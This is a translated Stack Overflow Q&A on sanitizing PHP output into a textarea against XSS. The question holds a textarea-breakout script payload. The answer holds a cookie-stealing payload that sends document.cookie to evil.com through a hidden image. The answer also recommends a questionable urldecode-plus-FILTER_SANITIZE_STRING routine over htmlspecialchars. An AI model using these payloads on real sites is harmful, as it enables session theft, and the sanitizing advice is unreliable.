php - 清理 XSS 到 Textarea 的输出

标签 php css textarea xss sanitize

如果要在文本区域等输入中使用数据库(在 php 中)的值,最好的清理方法是什么?

例如,当插入数据时,我可以去除标签和引号并将它们替换为 html 字符代码,然后在插入之前使用 mysql_real_escape_string。

当检索回该数据时,我需要它显示在文本区域中。我怎样才能做到这一点并仍然避免 XSS? (例如,您可以轻松输入

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) 并引起问题。

谢谢!

最佳答案

如果您想使用纯粹简单的 php 解决方案,我想我更喜欢 filter_varurl_decode 的组合

原因

想象一下这样的归因

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

如果我使用strip_tags

var_dump(strip_tags($maliciousCode));

输出

string 'document.write("' (length=16)

如果我使用htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

输出

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

我的选择

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

输出

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

如果表单使用 GET 而不是 POST 如果它是 url 编码的,一些可以直到转义,您可以获得最少的信息并确保最终文本是无害的

网上的类也够多,帮你做过滤看看

关于php - 清理 XSS 到 Textarea 的输出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10270398/

相关文章:

javascript - 在已加载内容等的 div 中加载内容

php - 将 SQL 中的 HTML 插入文本区域?

javascript - 正则表达式 只允许数字逗号分隔

php - 新闻门户和数据库的重量

css - 设置不设置高度的背景图像

html - 同一元素上的转换和变换,由不同的父元素触发

javascript - HTML/Javascript - 将文本区域的高度与另一个文本区域的高度相关联?

css - 如何使用 React 动态调整 textarea 高度?

php - INSERT 不适用于 PDO 准备好的语句

php - 如何获取mysql中每个表的前2条更新记录